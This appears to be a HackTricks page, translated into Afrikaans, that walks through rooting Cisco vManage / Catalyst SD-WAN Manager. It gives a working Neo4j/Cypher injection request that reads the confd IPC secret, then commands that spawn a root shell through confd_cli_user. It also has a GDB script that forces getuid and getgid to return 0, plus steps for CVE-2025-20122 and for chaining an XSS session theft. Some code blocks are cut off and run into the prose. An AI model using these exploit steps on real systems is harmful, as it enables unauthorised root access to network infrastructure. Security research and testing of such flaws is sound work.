Cisco - vmanage
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Pad 1
(Voorbeeld van https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)
Na ’n bietjie delf in sommige documentation verwant aan confd en die verskillende binaries (toeganklik met ’n rekening op die Cisco-website), het ons gevind dat dit, om die IPC-sok te verifieer, ’n geheim gebruik wat in /etc/confd/confd_ipc_secret geleë is:
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
Onthou ons Neo4j-instantie? Dit hardloop onder die vmanage gebruiker se privilegies, wat ons toelaat om die lêer met behulp van die vorige kwesbaarheid te verkry:
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
Die confd_cli program ondersteun nie command line arguments nie maar roep /usr/bin/confd_cli_user met argumente aan. Daarom kan ons direk /usr/bin/confd_cli_user oproep met ons eie stel argumente. Dit is egter nie leesbaar met ons huidige regte nie, so ons moet dit uit die rootfs haal en dit kopieer met scp, lees die help, en dit gebruik om die shell te kry:
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
Pad 2
(Voorbeeld van https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)
Die blog¹ deur die synacktiv-span beskryf ’n elegante manier om ’n root shell te kry, maar die nadeel is dat dit vereis om ’n kopie van die /usr/bin/confd_cli_user te bekom wat slegs deur root geleesbaar is. Ek het ’n ander manier gevind om na root te eskaleer sonder so ’n gedoente.
Toe ek die /usr/bin/confd_cli binêre ontleed, het ek die volgende opgemerk:
Objdump wat UID/GID-insameling wys
```asm vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … 40165c: 48 89 c3 mov %rax,%rbx 40165f: bf 1c 31 40 00 mov $0x40311c,%edi 401664: e8 17 f8 ff ff callq 400e80Wanneer ek “ps aux” uitvoer, het ek die volgende opgemerk (note -g 100 -u 107)
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
Ek het aangevoer dat die “confd_cli” program die user ID en group ID wat dit van die aangemelde gebruiker ingesamel het, aan die “cmdptywrapper” toepassing deurgee.
My eerste poging was om die “cmdptywrapper” direk te hardloop en dit met -g 0 -u 0 te voorsien, maar dit het misluk. Dit blyk ’n file descriptor (-i 1015) is iewers onderweg geskep en ek kan dit nie naboots nie.
Soos genoem in synacktiv’s blog (last example), die confd_cli program ondersteun nie command line argument nie, maar ek kan dit met ’n debugger beïnvloed en gelukkig is GDB op die stelsel ingesluit.
Ek het ’n GDB script geskep waarin ek die API getuid en getgid geforseer het om 0 terug te gee. Aangesien ek reeds “vmanage” voorregte het deur die deserialization RCE, het ek toestemming om die /etc/confd/confd_ipc_secret direk te lees.
root.gdb:
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
Konsole-uitset:
Konsole-uitset
```text vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 Copyright (C) 2017 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or laterPad 3 (2025 CLI invoervalidasie-fout)
Cisco het vManage hernoem na Catalyst SD-WAN Manager, maar die onderliggende CLI hardloop steeds op dieselfde toestel. ’n 2025 advisory (CVE-2025-20122) beskryf onvoldoende invoervalidasie in die CLI wat any authenticated local user toelaat om root te kry deur ’n gemanipuleerde versoek na die manager CLI-diens te stuur. Kombineer enige low-priv foothold (bv. die Neo4j deserialisasie van Path1, of ’n cron/backup user shell) met hierdie fout om na root te spring sonder om confd_cli_user te kopieer of GDB aan te heg:
- Gebruik jou low-priv shell om die CLI IPC-endpunt te lokaliseer (tipies die
cmdptywrapperluisteraar wat op poort 4565 in Path2 getoon word). - Smee ’n CLI-versoek wat die UID/GID-velde vervals na 0. Die validasie-fout slaag nie daarin om die oorspronklike oproeper se UID af te dwing nie, dus begin die wrapper ’n root-backed PTY.
- Pipe enige opdragvolgorde (
vshell; id) deur die vervalste versoek om ’n root shell te bekom.
Die exploit surface is local-only; remote code execution is steeds benodig om die aanvanklike shell te land, maar sodra jy in die toestel is is uitbuiting ’n enkele IPC-boodskap eerder as ’n debugger-gebaseerde UID-patch.
Ander onlangse vManage/Catalyst SD-WAN Manager vulns om te ketting
- Authenticated UI XSS (CVE-2024-20475) – Inject JavaScript in spesifieke koppelvlakvelde; diefstal van ’n admin session gee jou ’n browser-driven pad na
vshell→ local shell → Path3 vir root.
References
- Cisco Catalyst SD-WAN Manager Privilege Escalation Vulnerability (CVE-2025-20122)
- Cisco Catalyst SD-WAN Manager Cross-Site Scripting Vulnerability (CVE-2024-20475)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


